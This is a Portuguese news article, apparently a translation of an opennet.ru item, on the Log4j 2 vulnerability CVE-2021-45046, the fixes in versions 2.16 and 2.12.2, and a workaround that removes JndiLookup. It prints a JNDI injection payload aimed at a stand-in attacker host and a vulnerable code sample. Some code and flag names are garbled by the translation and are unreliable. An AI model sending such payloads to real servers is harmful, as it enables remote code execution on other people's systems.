Outra vulnerabilidade foi identificada na implementação de pesquisas JNDI na biblioteca Log4j 2 (CVE-2021-45046), que aparece apesar das correções adicionadas na versão 2.15 e independentemente do uso da configuração “log4j2.noFormatMsgLookup” para proteção. O problema é perigoso principalmente para versões mais antigas do Log4j 2, protegidas pelo flag “noFormatMsgLookup”, pois permite contornar a proteção contra vulnerabilidades anteriores (Log4Shell, CVE-2021-44228), o que permite executar seu código no servidor. Para usuários da versão 2.15, a exploração se limita a causar o travamento do aplicativo por esgotamento dos recursos disponíveis.
A vulnerabilidade aparece apenas em sistemas que usam pesquisas de contexto para registro, como ${ctx:loginId}, ou modelos MDC (Thread Context Map), como %X, %mdc e %MDC. A operação se resume à criação de condições para a saída de dados contendo substituições JNDI para o log ao usar consultas de contexto ou modelos MDC no aplicativo que definem as regras para formatar a saída para o log.
Pesquisadores da LunaSec observaram que para versões do Log4j inferiores a 2.15, esta vulnerabilidade pode ser usada como um novo vetor para um ataque Log4Shell, levando à execução de código, se expressões ThreadContext que incluem dados externos forem usadas na saída do log, independentemente de o O sinalizador "protect" está ativado. noMsgFormatLookups" ou o modelo "%m{nolookups}".
Ignorar a proteção se resume ao fato de que em vez da substituição direta de “${jndi:ldap://attacker.com/a}”, esta expressão é substituída pelo valor de uma variável intermediária usada nas regras de formatação da saída do log . Por exemplo, se a consulta de contexto ${ctx:apiversion} for usada ao enviar para o log, então o ataque poderá ser realizado substituindo os dados “${jndi:ldap://attacker.com/a}” no valor gravado na variável apiversion. Exemplo de código vulnerável: appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // O valor do cabeçalho HTTP "X-Api-Version" é passado para o ThreadContext ThreadContext.put("apiversion ", apiVersão); // Ao enviar para o log, o valor externo da apiversion será processado usando a substituição ${ctx:apiversion} logger.info("Received a request for API version"); retornar "Olá, mundo!"; }
No Log4j versão 2.15, a vulnerabilidade pode ser usada para realizar ataques DoS ao passar valores para o ThreadContext, resultando em um loop no processamento do modelo de formatação de saída.
As atualizações 2.16 e 2.12.2 foram publicadas para bloquear a vulnerabilidade. Na ramificação Log4j 2.16, além das correções implementadas na versão 2.15 e da vinculação de solicitações LDAP JNDI ao “localhost”, a funcionalidade JNDI está completamente desabilitada por padrão e o suporte para modelos de substituição de mensagens foi removido. Como solução alternativa de segurança, sugere-se remover a classe JndiLookup do caminho de classe (por exemplo, “zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class”) .
Você pode acompanhar o aparecimento de correções em pacotes nas páginas de distribuições (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) e fabricantes de plataformas Java (GitHub, Docker, Oracle, vmWare, Broadcom e Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, etc.).
Fonte: opennet.ru